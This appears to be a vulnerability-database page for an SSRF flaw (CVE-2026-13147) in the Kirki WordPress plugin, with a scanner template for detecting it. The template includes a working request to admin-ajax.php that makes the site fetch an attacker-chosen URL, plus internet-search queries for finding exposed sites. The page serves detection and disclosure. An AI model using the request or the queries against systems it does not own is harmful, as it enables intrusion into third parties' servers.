WordPress Kirki < 6.0.12 - Server-Side Request Forgery
CVE-2026-13147
Verified
Description
Kirki WordPress plugin < 6.0.12 contains a server-side request forgery caused by lack of URL validation, letting unauthenticated attackers make the site issue HTTP requests to arbitrary hosts, exploit requires no authentication.
Severity
High
CVSS Score
5.3
Exploit Probability
1%
Affected Product
kirki
Published Date
July 30, 2026
Template Author
0x_akoko
CVE-2026-13147.yaml
id: CVE-2026-13147
info:
name: WordPress Kirki < 6.0.12 - Server-Side Request Forgery
author: 0x_Akoko
severity: high
description: |
Kirki WordPress plugin < 6.0.12 contains a server-side request forgery caused by lack of URL validation, letting unauthenticated attackers make the site issue HTTP requests to arbitrary hosts, exploit requires no authentication.
impact: |
Unauthenticated attackers can make the server send HTTP requests to arbitrary hosts, potentially leading to internal network access or data exposure.
remediation: |
Update to version 6.0.12 or later.
reference:
- https://wpscan.com/vulnerability/kirki-ssrf
- https://nvd.nist.gov/vuln/detail/CVE-2026-13147
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
cvss-score: 5.3
cve-id: CVE-2026-13147
epss-score: 0.00912
epss-percentile: 0.57611
cwe-id: CWE-918
metadata:
verified: true
max-request: 2
vendor: developer-developer
product: kirki
framework: wordpress
publicwww-query: "/wp-content/plugins/kirki/"
shodan-query: http.html:"/wp-content/plugins/kirki/"
fofa-query: body="/wp-content/plugins/kirki/"
tags: cve,cve2026,wordpress,wp-plugin,wp,kirki,ssrf,oast
flow: http(1) && http(2)
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
host-redirects: true
max-redirects: 3
matchers:
- type: dsl
dsl:
- 'contains(body, "window.wp_kirki")'
internal: true
extractors:
- type: regex
name: nonce
group: 1
internal: true
regex:
- 'nonce:\s*"([a-f0-9]{10})"'
- raw:
- |
GET /wp-admin/admin-ajax.php?action=kirki_get_apis&endpoint=get-pre-built-html&elementUrl=http%3A%2F%2F{{interactsh-url}} HTTP/1.1
Host: {{Hostname}}
X-WP-Nonce: {{nonce}}
matchers:
- type: word
part: interactsh_protocol
words:
- "http"
# digest: 490a0046304402204fed34eae4a4aa1d7ede23a99c86d58856b6ffe634144601dc83fe403ceaeee90220303c3cb0d2920b302ce99566a8ab73818cc700598368a57bf1753d0658d5242b:922c64590222798bb761d5b6d8e729505.3Score
CVSS Metrics
CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
CVE ID:
cve-2026-13147
CWE ID:
cwe-918
Remediation Steps
Update to version 6.0.12 or later.